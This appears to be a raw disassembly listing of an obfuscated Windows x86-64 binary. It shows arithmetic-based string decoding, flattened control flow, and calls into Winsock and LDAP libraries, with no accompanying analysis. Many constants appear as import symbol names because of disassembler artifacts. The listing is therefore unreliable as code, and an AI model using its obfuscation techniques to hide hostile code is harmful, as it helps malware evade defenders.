ja 0x1401da7c0
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401da79c
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401da776
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401da563
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x1401da563
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401da556
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x1401da4fc
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x1401da487
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x1401dae92
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 4
jmp 0x1401daed7
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x1401dac42
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1401daf07
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401daf43
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401dae4b
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401daf9a
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x7c
jmp 0x1401dafcc
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401db029
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
cmp r10, 0x41
jb 0x1401dada4
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 8]
jmp 0x1401dae92
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 3
jae 0x1401dadb5
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x1401dace5
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x1401da8bd
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x1401daddf
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x1401dabfc
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x1401da911
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401db029
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1401dafcc
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401da840
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401dae4b
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401daf57
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x78
jmp 0x1401daf07
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0xc
jmp 0x1401daeda
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401daed7
movabs rcx, 0x81439a769aca052c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x34
jmp 0x1401dae92
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x1401dab1b
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401da96c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401dab4b
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401db029
cmp rbx, rcx
jne 0x1401dab6c
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
jmp 0x1401daf8e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401dab9a
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x1401da7f2
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401dabc7
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x64
jmp 0x1401daeda
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401da96c
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x1401daed7
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401dac2a
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x1401da794
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401dac5b
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x1401daeda
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401dac88
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x7a
jmp 0x1401daf57
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401dacb4
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x52
jmp 0x1401daf97
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401da911
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x1401db029
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401dad02
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401dab33
cmp rbx, rcx
jne 0x1401dad2a
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x24
jmp 0x1401da9f2
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401dad57
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x68
jmp 0x1401daf57
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401dad74
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_45
jmp 0x1401dabe3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401da8bd
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x18
jmp 0x1401da794
mov byte [rbp + r9 + 0xcd0], dil
mov qword [rbp - 0x50], rdi
jmp 0x1401db03c
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + r9 + 0xcd0]
jmp 0x1401dab92
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, byte [rbp + r9 + 0xcd0]
sub r11b, 0x5c
jmp 0x1401daf97
movabs rcx, 0x292707bcd6f97ac2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x4e
jmp 0x1401dafcc
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
mov qword [rbp - 0x50], rdi
jmp 0x1401daf61
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x32
jmp 0x1401daeda
movabs rcx, 0x7a72353e09179f56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xcd0], cl
jmp 0x1401daed7
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x16
add r10, r15
mov qword [rbp - 0x50], r11
sub r9, r15
mov rdi, r11
jmp 0x1401db03c
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x3e
movabs rcx, 0x9e4c2ab7081dedaa
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, r8b
mov byte [rbp + r9 + 0xcd0], dl
jmp 0x1401daf57
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
mov qword [rbp - 0x50], r11
add rbx, r10
mov rdi, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401db03c
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xcd0], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x50], r11
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xcd0], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rdi, r11
jmp 0x1401db02d
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
movzx eax, byte [rbp + r9 + 0xcd0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401da474
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov qword [rbp - 0x50], rdi
jmp 0x1401da46f
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
jmp 0x1401da45f
lea rdx, [rbp + 0x1600248]
jmp 0x1401db0af
lea rdx, [rbp + 0x1026d62]
jmp 0x1401db0af
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x320]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1750]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401db0e4
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1750]
call fcn.140174580
nop
lea rcx, [rbp + 0x1750]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1750]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x580], Ordinal_60
mov byte [rbp + 0x581], Ordinal_143
mov byte [rbp + 0x582], 0x61
mov byte [rbp + 0x583], 0xf3
mov byte [rbp + 0x584], 0x5a
mov byte [rbp + 0x585], 0xf1
mov byte [rbp + 0x586], 0x62
mov byte [rbp + 0x587], 0xf7
mov byte [rbp + 0x588], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x589], 0xf5
mov byte [rbp + 0x58a], 0x5b
mov byte [rbp + 0x58b], 0xfb
mov byte [rbp + 0x58c], WSASetLastError
mov byte [rbp + 0x58d], 0xf9
mov byte [rbp + 0x58e], 0x5b
mov byte [rbp + 0x58f], 0xff
mov byte [rbp + 0x590], r14b
mov byte [rbp + 0x591], 0xfd
mov byte [rbp + 0x592], 0x59
mov byte [rbp + 0x593], 0xe3
mov byte [rbp + 0x594], Ordinal_79
mov byte [rbp + 0x595], 0xe1
mov byte [rbp + 0x596], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x597], 0xe7
mov byte [rbp + 0x598], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x599], 0xe5
mov byte [rbp + 0x59a], 0x7f
mov byte [rbp + 0x59b], 0xeb
mov byte [rbp + 0x59c], 0x7a
mov byte [rbp + 0x59d], 0xe9
mov byte [rbp + 0x59e], Ordinal_79
mov byte [rbp + 0x59f], 0xef
mov byte [rbp + 0x5a0], 0x7a
mov byte [rbp + 0x5a1], 0xed
mov byte [rbp + 0x5a2], 0x88
mov byte [rbp + 0x5a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5a4], 0x84
mov byte [rbp + 0x5a5], Ordinal_211
mov byte [rbp + 0x5a6], Ordinal_217
mov byte [rbp + 0x5a7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5a8], rax
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401dbe74
movzx r8d, byte [rbp + r9 + 0x580]
mov rdx, r8
cmp rbx, r9
ja 0x1401dbe6b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401db2a3
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
add sil, 0x4e
jmp 0x1401db55f
je 0x1401dbddb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401dbd4e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401dbd1b
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401dbcc9
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401dbc70
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401dbe62
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x1401db30d
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401db522
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401dbc5e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401dbc38
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401dbc13
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401dbbff
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401dbbdd
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401db8ad
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401db893
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401db86e
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401db84b
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401db826
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401db804
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401db7e0
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401db7c0
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x1401db79e
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401db777
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401db35b
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401dbe3a
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401dbe12
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401db568
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401db53e
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401db513
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401db751
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401db72b
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401db704
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401db6d4
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401db35b
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401db6ad
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401db68b
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401db669
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401db642
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401db620
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401db5fd
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401db5da
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401db5b8
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401db593
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401db35b
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x1401db35b
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401db34e
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x42
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401db2e7
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401db267
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401dbc8e
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x6c
jmp 0x1401dba6d
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 8
jmp 0x1401dbc58
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401dbce5
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, r14b
jmp 0x1401dbd0f
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x1401dbd37
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x78
jmp 0x1401dbd6f
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
jmp 0x1401dbd9f
movabs rdx, 0x35c12dd26ef64cd0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x1401dbdf7
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x36
mov qword [rbp - 0x48], rsi
mov byte [rbp + r9 + 0x580], sil
jmp 0x1401dbe0a
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401db94e
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x6e
add sil, dl
jmp 0x1401db912
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0xa
add sil, dl
jmp 0x1401db8d3
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401dbdf7
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x38
jmp 0x1401dbd9f
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
jmp 0x1401dbd6a
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x70
jmp 0x1401dbd37
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0xc
jmp 0x1401dbd0f
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401dbce7
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x44
jmp 0x1401dbc58
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401dba6d
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x7c
jmp 0x1401dbc85
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x1401db983
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
mov qword [rbp - 0x48], rsi
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x1401dbbb5
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x1401dba29
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x6a
mov qword [rbp - 0x48], rsi
cmp rbx, 0x1000
jae 0x1401dbb8f
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x1401dbab4
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 4
mov qword [rbp - 0x48], rsi
cmp r10, 9
jb 0x1401db6f7
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dl
jmp 0x1401dbc8e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401db9af
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x34
jmp 0x1401dbdf7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401db9ca
movabs rdx, 0xb8b05b574343cd24
mov ecx, r12d
jmp 0x1401db7cf
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401db9f7
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x60
jmp 0x1401dbd37
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401db8d7
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401dbd0f
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401dba46
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x1401db5a2
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401dba76
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x32
mov qword [rbp - 0x48], rdx
jmp 0x1401dbcba
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401dba93
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x1401db835
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401db916
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
jmp 0x1401db786
jne 0x1401dbada
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x68
jmp 0x1401dbdf7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401dbb05
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x1401dbd6f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401dbb35
movabs rdx, 0x2690b2b5dca60bcc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401dbd37
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401dbb5f
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x5c
jmp 0x1401dbce5
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x1401db952
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
